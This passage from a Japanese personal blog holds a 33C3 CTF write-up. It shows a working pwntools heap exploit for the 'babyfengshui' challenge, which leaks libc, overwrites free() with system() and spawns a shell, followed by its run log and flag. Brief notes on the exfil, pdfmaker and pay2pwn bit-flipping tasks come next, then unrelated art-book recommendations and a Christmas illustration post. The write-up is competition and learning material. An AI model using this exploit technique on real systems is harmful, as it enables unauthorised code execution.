= r.recvline().split(':')[1][1:].strip('\n') description = r.recvline().split(':')[1][1:].strip('\n') return (name, description) def Update(index, size_text, text): r.recvuntil("Action: ") r.sendline("3") r.recvuntil("index: ") r.sendline(str(index)) r.recvuntil("text length: ") r.sendline(str(size_text)) r.recvuntil("text: ") r.sendline(text) def Exit(): r.recvuntil("Action: ") r.sendline("4") r.recvuntil("Bye\n") def DisplayAll(): for i in range(count): name, description = Display(i) print "[%2d] name = %r (%#x)" % (i, name, len(name)) print "[%2d] description = %r (%#x)" % (i, description, len(description)) # context.log_level = 'debug' plt = {"fgets": 0x8048500, "strchr": 0x08048560} """ gdb-peda$ x/i 0x08048560 0x8048560 <strchr@plt>: jmp DWORD PTR ds:0x804b02c """ got = {"printf": 0x804b00c, "free": 0x804b010, "strchr": 0x804b02c} # name_len = 0x7b name_len = 0x10 # anti 20 sec limit # bp() log.info("=== [prepare] ===") # (1)から(3)まで Add(0x20, "1"*name_len, 0x23, "A"*0x23) # 0 Add(0x20, "2"*name_len, 0x20, "B"*0x20) # 1 Add(0x20, "3"*name_len, 0x23, "/bin/sh -c 'ls; cat flag.txt; bash'") # 2 Delete(0) # DisplayAll() log.info("=== [info leak] ===") LEAK_FUNC = "printf" Add(0x40, "4"*name_len, 0x90+32+8, ''.join([ # 3 "D"*(0x90+28), # padding "A"*4, # chunk header p32(got[LEAK_FUNC]), # "LEAK", ])) DisplayAll() name, description = Display(1) print "description = %r" % description addr = u32(description[:4]) libc_base_addr = addr - offset[LEAK_FUNC] system_addr = libc_base_addr + offset["system"] bin_sh_addr = libc_base_addr + offset["/bin/sh"] print "libc base address = %#x" % libc_base_addr print "%s() = %#x" % (LEAK_FUNC, addr) print "system() = %#x" % system_addr print "'/bin/sh' = %#x" % bin_sh_addr log.info("=== [got overwrite] ===") # (4) Update(3, 0x90+32+8, ''.join([ # 3 "D"*(0x90+28), # padding "X"*4, # chunk header # p32(got["strchr"]), # X() p32(got["free"]), # X() "GOTw", ])) # DisplayAll() bp() Update(1, 10, p32(system_addr)) # X() <= system() log.info("=== [trigger shell] ===") Delete(2) # system("/bin/sh") context.log_level = 'warn' r.interactive()
20秒制限があるため、通信は手短に済まさねばならない点がポイント。
[katc@K_atc babyfengshui]$ python2 babyfengshui.py r [+] Opening connection to 78.46.224.83 on port 1456: Done [*] === [prepare] === [*] === [info leak] === [ 0] name = 'Add a user' (0xa) [ 0] description = 'Delete a user' (0xd) [ 1] name = 'LEAK' (0x4) [ 1] description = 'P\xdc_\xf7\xf0pb\xf7\xa0Ba\xf7P|f\xf7&\x85\x04\x08`kb\xf7\x80]a\xf7V\x85\x04\x08@\\d\xf7p\xa9\\\xf7pda\xf7\xf0\xc5m\xf7 !a\xf7' (0x34) [ 2] name = '3333333333333333' (0x10) [ 2] description = "/bin/sh -c 'ls; cat flag.txt; bash'" (0x23) [ 3] name = '4444444444444444' (0x10) [ 3] description = 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAAAA\x0c\xb0\x04\x08LEAK' (0xb8) description = 'P\xdc_\xf7\xf0pb\xf7\xa0Ba\xf7P|f\xf7&\x85\x04\x08`kb\xf7\x80]a\xf7V\x85\x04\x08@\\d\xf7p\xa9\\\xf7pda\xf7\xf0\xc5m\xf7 !a\xf7' libc base address = 0xf75b1000 printf() = 0xf75fdc50 system() = 0xf75ef3e0 '/bin/sh' = 0xf7710551 [*] === [got overwrite] === [*] === [trigger shell] === babyfengshui flag.txt 33C3_h34p_3xp3rts_c4n_gr00m_4nd_f3ng_shu1
flag: 33C3_h34p_3xp3rts_c4n_gr00m_4nd_f3ng_shu1
exfill
DNSを使ってデータを送受信していることが自明。Server.pyを丁寧に読み取ってscapyを使ってデータを変換して終了。やるだけ。
具体的には33C3 CTF 供養(Writeup) - ももいろテクノロジー に同じ。
pdfmaker
最近発覚したTeX関連の脆弱性を利用した問題。これを知っていた(出るだろうなと思ってた)ので、問題文を見ただけで解き方が分かった。これもやるだけ。
具体的には33C3 CTF 供養(Writeup) - ももいろテクノロジー に同じ。
pay2pwnのアシスト内容
クレジットカード番号を入力すると、商品を購入できる。 商品はcheapという無条件に購入できるものと、flagという通常は購入できないものの2種類がある。 この場合は、cheapでいろいろ攻撃してみてあたりを付けるのが正攻法。
リクエストを飛ばすと、URLクエリにdataというパラメータがあることが分かる。 未購入の状態での2回分のアクセスのURLは次の通り。
http://78.46.224.78:5001/pay?data=5e4ec20070a567e0f3d9ab21d10633a7e5261df9e28804963b5b0554edda4f8828df361f896eb3c3706cda0474915040 http://78.46.224.78:5001/pay?data=5e4ec20070a567e0f3d9ab21d10633a7a39ae7d3a1b9fd303b5b0554edda4f8828df361f896eb3c3706cda0474915040
タイミングによらず、未購入であれば同じdataが入りそうだ。
次に2種類のクレジットカード番号(これはダミー)でcheapを買ってみたときのURLを調べた。
### 4929990005949674 http://78.46.224.78:5000/payment/callback?data=5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c88187d54e1bf2760728df361f896eb3c3706cda0474915040 ### 4024007103302005 http://78.46.224.78:5000/payment/callback?data=5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c89559d4e580fe28ef28df361f896eb3c3706cda0474915040
注意深く見ると、次のことが分かる。
- dataはhexエンコードされたデータ。暗号文の可能性が高い
- 購入できたときのdataで比較すると、dataの中央部だけ一致しない。ここにクレジットカード番号が入っていると見られる
dataには購入結果が入ることが予想できるため、bit flippingという攻撃方法により、statusを改竄するように提案した。 あとはcrypto担当の新人くんが30分くらいで解いてくれた。優秀(まだCTF初めて1ヶ月位なんだぜ?)。
うちのチームの新人くん、彼にとって初めてであろう解き方を教えたら30分位であっさり解いてしまって才能を感じる
— 友利奈緒ちゃん (@K_atc) 2016年12月29日
ほんとESPRとthe 0x90 called解いて周りと差を付けたかった…
【イラスト】人物画の良書に目を向けてみた
お絵かき練習してても伸び悩みを感じるので、ネットで解説を探し回ったが、やはりそんなのはもう知ってるんだよっていうものしが出てこないので、 美術書・技法書に目を向けていこう!という気持ちになった。 何をしようかと悩むので、手元にある本を振り返りつつ良さげな本を漁ってみた。 収穫として1冊よさげなのが見つかった!
「後発の本」と表現したものは数年以内に発売された本(再販除く)を指す。
「○○(本)をやる」という表現は、読んで主張を理解した上で模写し、納得することを指す。
【未読】は手元にない本を指す。
※美術に関しては、人によって言っていることが違うということが割とよく起こるので、誰の言うことを信じるのかを決めたほうがいいと思います。 たとえば、「いちあっぷ講座」(その記事思い出せない)と「ハム本」とで斜め角度からの肩の描き方で相反する説明があった。
人物画のおすすめ本
はっきり言って、基本的に人物画においては後発の本はあまりおすすめできない。 数冊買ったり、Amazonでプレビューできるものを見たりしたが、ここで紹介するような本の情報量に及んでいない。
人体のデッサン技法(ジャック・ハム)
- 作者: ジャック・ハム,島田照代
- 出版社/メーカー: 嶋田出版
- 発売日: 1987/07
- メディア: 単行本
- 購入: 55人 クリック: 209回
- この商品を含むブログ (23件) を見る
ハム本とも呼ばれる。人体比率、各部位のポイントを抑えた作例があり、超入門的な内容である。 全くの絵の入門者はこの本をしっかりやるとGood。
やさしい人物画(A・ルーミス)
- 作者: A・ルーミス,北村孝一
- 出版社/メーカー: マール社
- 発売日: 2000
- メディア: 単行本
- 購入: 34人 クリック: 580回
- この商品を含むブログ (68件) を見る
ハム本をやり終えた時におすすめ。pixivの講座を参考にする前にこれをやれという感じ。 pixivの講座が参考にならないのではない。効率性の問題。
(あんままともにやってないとはいえない…)
【未読】アーティストのための美術解剖学―デッサン・漫画・アニメーション・彫刻など、人体表現、生体観察をするすべての人に(ヴァレリー・L. ウィンスロゥ)
アーティストのための美術解剖学―デッサン・漫画・アニメーション・彫刻など、人体表現、生体観察をするすべての人に
- 作者: ヴァレリー・L.ウィンスロゥ,Valerie L. Winslow,宮永美知代
- 出版社/メーカー: マール社
- 発売日: 2013/04
- メディア: 単行本(ソフトカバー)
- この商品を含むブログ (5件) を見る
描き方伝授でなく、あくまで図鑑的。内容は解剖学寄り。 pixivで講座としてこのようなことが解説されていることが多いが、この一冊ちゃんとやったほうが楽かもしれない。
【未読】Dynamic Figure Drawing: A New Approach to Drawing the Moving Figure in Deep Space and Foreshortening (Burne Hogarth)
- 作者: Burne Hogarth
- 出版社/メーカー: Watson-Guptill
- 発売日: 1996/08/01
- メディア: ペーパーバック
- 購入: 2人 クリック: 3回
- この商品を含むブログを見る
美術的でなく、漫画的な描き方を重点に置いた本。アニメーター向けの本として紹介されることが多い。
日本語版があった気がするけど、何らかの理由でペーパーバック版がおすすめされていたと記憶。 ペーパーバック版は2年前くらいに復活した。 説明文が短いので英語でも問題ないはず。
ほか
行き詰まった時にこの辺やるといいよ。
- 作者: 林晃,松本剛彦,森田和明
- 出版社/メーカー: グラフィック社
- 発売日: 2005/10
- メディア: 単行本
- 購入: 46人 クリック: 1,459回
- この商品を含むブログ (48件) を見る
模写のネタになる本
どの作品の本にするかは自分がその作品やキャラが好きかどうかでいいと思う。
電脳コイル ビジュアルコレクション
電脳コイル ビジュアルコレクション (ROMAN ALBUM)
- 作者: 磯光雄,井上俊之
- 出版社/メーカー: 復刊ドットコム
- 発売日: 2014/04/19
- メディア: 大型本
- この商品を含むブログ (3件) を見る
原画集。アニメーター志望者におすすめされる本。 (一時期入手不能になってたのが、数年前に再販された記憶がある)
各アニメの設定資料集・原画集
アニメにおける顔作画について徹底的に研究したいならこういう本を買うと良い。 diomediaやP.A.Worksやカラーがよく販売している。
僕は顔が全然うまく描けなかった時に『俺の脳内選択肢が、学園ラブコメを全力で邪魔している 設定資料集』をよく模写していた。 前髪が顔の角度によってどう変化するのかについてはとても勉強になった。
ヌードポーズ集
スーパー・ポーズブック ヌード編 (コスミック・アート・グラフィック)
- 作者: 尾形正茂,島本耕司
- 出版社/メーカー: コスミック出版
- 発売日: 2012/04/19
- メディア: 単行本(ソフトカバー)
- 購入: 3人 クリック: 365回
- この商品を含むブログ (3件) を見る
この辺を徹底的に模写した漫画家の話が出たりする。(僕は未経験)
(僕のための)結論
ということで
- アーティストのための美術解剖学
買って、
- やさしい人物画
をやり直そうかな(目指せ神絵師)
一日遅れのメリークリスマス(友利奈緒より)
ついに友利奈緒 Advent Calandar は25日目を迎えました!(1日遅れ)
瞑想迷走30分+線画1時間+塗り4時間で簡単なお祝いイラストを描きました。メリークリスマス!
来年も友利奈緒をよろしくお願いしまーす
あとがき
普段はスケッチブックに描いた線画をスキャナで取り込んでから、Photoshopで線画を抽出するのですが、 スケッチブックの方でクリーンナップを十分にやってもギザギザしてしまうのですよね。Sketch Simplification・ラフスケッチの自動線画化 を使えばアナログ線画をスムーズにできるのですが、また使い忘れてしまいました(てへぺろ
使用画材・ツール:
- スケッチブック
- uni鉛筆(HB)
- Clip Studio Paint
- Photoshop
- Illustrator